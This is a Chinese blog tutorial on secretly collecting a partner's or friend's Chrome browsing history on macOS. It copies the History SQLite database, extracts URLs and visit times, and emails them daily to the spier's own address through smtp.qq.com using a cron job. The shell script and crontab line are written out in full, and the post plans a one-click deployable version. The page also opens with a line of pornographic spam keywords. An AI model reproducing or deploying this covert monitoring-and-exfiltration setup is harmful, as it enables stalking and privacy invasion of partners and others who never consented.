亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站?

 更新時(shí)間:2021年05月27日 15:58:40   作者:克金森沐沐  
今天教各位小伙伴一個(gè)黑科技,用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站,文中有非常詳細(xì)的介紹,對(duì)正在學(xué)習(xí)python的小伙伴們很有幫助,需要的朋友可以參考下

一、需求

1.獲取你對(duì)象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪問(wèn)時(shí)間,并存在一個(gè)txt文件中

2.將這個(gè)txt文件發(fā)送給指定的郵箱地址(你的郵箱)

3.建立例行任務(wù),每天定時(shí)自動(dòng)完成這些操作,你就可以通過(guò)郵件查看你對(duì)象每天看啥了

二、背景

1.mac下chrome的瀏覽記錄在哪?怎么獲取網(wǎng)址(url)和訪問(wèn)時(shí)間?

答:路徑:/Users/用戶名/Library/Application\ Support/Google/Chrome/Default/History

History:是一個(gè)SQLite數(shù)據(jù)庫(kù),其實(shí)就是一個(gè)文件,可以用DB Browser for SQLite

去查看所有的信息,我們要的信息在urls表中

怎么獲?。河胮ython內(nèi)置的sqlite3庫(kù)連接History,通過(guò)sql得到我們想要的信息

2.怎么發(fā)送一個(gè)帶附件的郵件?

答:使用python內(nèi)置的email和smtplib兩個(gè)模塊去構(gòu)造和發(fā)送郵件

3.怎么把這些過(guò)程自動(dòng)化?

答:使用shell腳本將這些過(guò)程連接起來(lái),然后使用crontab命令定時(shí)運(yùn)行

三、requirements

macOS Sierra

Python3.6

Chrome

發(fā)送郵件的qq郵箱地址

qq郵箱授權(quán)碼

SMTP服務(wù)器地址 : smtp.qq.com

接受郵件的郵箱地址

四、代碼

1.get_history.py

2.send_email.py

3.start.sh

4.crontab -e

五、執(zhí)行

(1) 首先我們用DB Browser for SQLite來(lái)看下History中的urls表的數(shù)據(jù)組成

從表中可以看出,我們要的網(wǎng)址和訪問(wèn)時(shí)間就在urls.url和urls.last_visit_time中

在這里插入圖片描述

(2) get_history.py:通過(guò)這個(gè)腳本,我們可以把url和訪問(wèn)時(shí)間提取出來(lái),并且存儲(chǔ)在

result.txt中,下圖就是我得到的部分結(jié)果在這里插入圖片描述

(3) send_email.py:通過(guò)這個(gè)腳本,我們可以把result.txt作為附件,發(fā)送給指定郵箱地址

(4) ./start.sh :其實(shí),前面幾個(gè)腳本,已經(jīng)完成了我們的任務(wù),但是每次都執(zhí)行這么多腳

本,太麻煩了,我們可以把這些腳本的執(zhí)行語(yǔ)句整理成一個(gè)shell腳本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣,我們?cè)诮K端執(zhí)行./start.sh,系統(tǒng)就會(huì)幫我們把這三條語(yǔ)句依次執(zhí)行了

注意:由于crontab命令需要絕對(duì)路徑,所以這里的路徑都是用絕對(duì)路徑

(5) crontab :如果使用了這個(gè)命令,在電腦開(kāi)機(jī)并且聯(lián)網(wǎng)的情況,系統(tǒng)會(huì)自動(dòng)執(zhí)行,然后把結(jié)果發(fā)到你的郵箱

使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說(shuō)明:前面兩個(gè)數(shù)字,就是你每天執(zhí)行這個(gè)腳本的時(shí)間,我這里設(shè)置的是14:20。

重要的事再說(shuō)一遍,一定要寫絕對(duì)路徑!??!

六、問(wèn)題

1.server.login(from_addr, password)函數(shù)中的password不是郵箱密碼,在qq郵箱中,指的是授權(quán)碼

答:qq郵箱授權(quán)碼:什么是授權(quán)碼,它又是如何設(shè)置?_QQ郵箱幫助中心

2.訪問(wèn)History數(shù)據(jù)庫(kù)時(shí),顯示The database is locked!

答:在我們打開(kāi)瀏覽器的同時(shí)去訪問(wèn)History時(shí),就會(huì)出現(xiàn)這種情況,有兩種解決辦法:
(1)關(guān)閉瀏覽器,再去訪問(wèn)
(2)把History拷貝到其他文件夾中,然后訪問(wèn)該文件夾下的History

3.timestamp時(shí)間戳怎么轉(zhuǎn)換的

答:last_visit_time是微秒,所以要除以10^6; last_visit_time的起始值是1601年1月1日0時(shí)0分0秒,所以要減去11644473600;篩選昨天的數(shù)據(jù):現(xiàn)在的日期與last_visit_time的差值小于1的數(shù)據(jù),就是距離當(dāng)前時(shí)間小于1天的數(shù)據(jù)

4.crontab出錯(cuò)

答:crontab中所有路徑都要寫絕對(duì)路徑,包括py腳本中的路徑也要寫絕對(duì)路徑!

七、總結(jié)

1.運(yùn)用python連接SQLite數(shù)據(jù)庫(kù),并執(zhí)行sql操作

2.運(yùn)用python發(fā)送郵件

3.運(yùn)用shell和crontab建立自動(dòng)化例行任務(wù)

4.看別人隱私是不對(duì)的,這篇文章只是我自己瞎玩的,實(shí)際可行性不強(qiáng)

八、展望

1.把這些打包成一個(gè)可執(zhí)行文件,雙擊之后可以直接部署,并且可以跨平臺(tái)

2.目前這個(gè)腳本,只有在電腦是打開(kāi)并且聯(lián)網(wǎng)的時(shí)候,才能自動(dòng)執(zhí)行,所以并不能理想地監(jiān)控別人的瀏覽記錄哦!

3.最后祝大家跟封面中的小草一樣頑強(qiáng),早日登上人生巔峰

到此這篇關(guān)于用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站?的文章就介紹到這了,更多相關(guān)Python監(jiān)控網(wǎng)站瀏覽記錄內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python 實(shí)現(xiàn)調(diào)用子文件下的模塊方法

    python 實(shí)現(xiàn)調(diào)用子文件下的模塊方法

    今天小編就為大家分享一篇python 實(shí)現(xiàn)調(diào)用子文件下的模塊方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2018-12-12
  • Django 設(shè)置admin后臺(tái)表和App(應(yīng)用)為中文名的操作方法

    Django 設(shè)置admin后臺(tái)表和App(應(yīng)用)為中文名的操作方法

    這篇文章主要介紹了Django 設(shè)置admin后臺(tái)表和App(應(yīng)用)為中文名的操作方法,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-05-05
  • Python中serial庫(kù)的介紹及用法示例

    Python中serial庫(kù)的介紹及用法示例

    Python的serial庫(kù)是一個(gè)用于串口通信的Python擴(kuò)展庫(kù),它提供了許多方法和功能,用于控制和配置串行端口以及讀取和寫入串行數(shù)據(jù),這篇文章主要給大家介紹了關(guān)于Python中serial庫(kù)用法的相關(guān)資料,需要的朋友可以參考下
    2024-07-07
  • 利用Python實(shí)現(xiàn)字幕掛載(把字幕文件與視頻合并)思路詳解

    利用Python實(shí)現(xiàn)字幕掛載(把字幕文件與視頻合并)思路詳解

    這篇文章主要介紹了如何利用Python實(shí)現(xiàn)字幕掛載,把字幕文件與視頻合并,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-10-10
  • Python實(shí)現(xiàn)企業(yè)微信機(jī)器人每天定時(shí)發(fā)消息實(shí)例

    Python實(shí)現(xiàn)企業(yè)微信機(jī)器人每天定時(shí)發(fā)消息實(shí)例

    這篇文章主要介紹了Python實(shí)現(xiàn)企業(yè)微信機(jī)器人每天定時(shí)發(fā)消息實(shí)例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-02-02
  • Python3 適合初學(xué)者學(xué)習(xí)的銀行賬戶登錄系統(tǒng)實(shí)例

    Python3 適合初學(xué)者學(xué)習(xí)的銀行賬戶登錄系統(tǒng)實(shí)例

    下面小編就為大家?guī)?lái)一篇Python3 適合初學(xué)者學(xué)習(xí)的銀行賬戶登錄系統(tǒng)實(shí)例。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2017-08-08
  • Python使用turtle和matplotlib繪制圓和愛(ài)心的示例代碼

    Python使用turtle和matplotlib繪制圓和愛(ài)心的示例代碼

    這篇文章主要是帶大家用Python的turtle和matplotlib畫(huà)出圓滿和愛(ài)心,文中的示例代碼講解的非常詳細(xì),對(duì)我們學(xué)習(xí)Python有一定幫助,感興趣的可以了解一下
    2023-06-06
  • Python合并同一個(gè)文件夾下所有PDF文件的方法

    Python合并同一個(gè)文件夾下所有PDF文件的方法

    今天小編就為大家分享一篇關(guān)于Python合并同一個(gè)文件夾下所有PDF文件的方法,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧
    2019-03-03
  • Python使用JWT的超詳細(xì)教程

    Python使用JWT的超詳細(xì)教程

    這篇文章主要介紹了Python使用JWT的相關(guān)資料,JWT(JSON?Web?Tokens)是一種網(wǎng)絡(luò)應(yīng)用間傳輸信息的標(biāo)準(zhǔn),包括三部分:Header(頭部),Payload(負(fù)載),Signature(簽名),頭部包含聲明類型和算法,需要的朋友可以參考下
    2024-10-10
  • Python利用filestools模塊實(shí)現(xiàn)水印添加

    Python利用filestools模塊實(shí)現(xiàn)水印添加

    最近發(fā)現(xiàn)的這款filestools非標(biāo)準(zhǔn)庫(kù)其實(shí)真正實(shí)現(xiàn)添加水印的只要一個(gè)函數(shù)的調(diào)用,一行代碼即可完成水印的添加,感興趣的快跟隨小編一起學(xué)起來(lái)吧
    2022-09-09

最新評(píng)論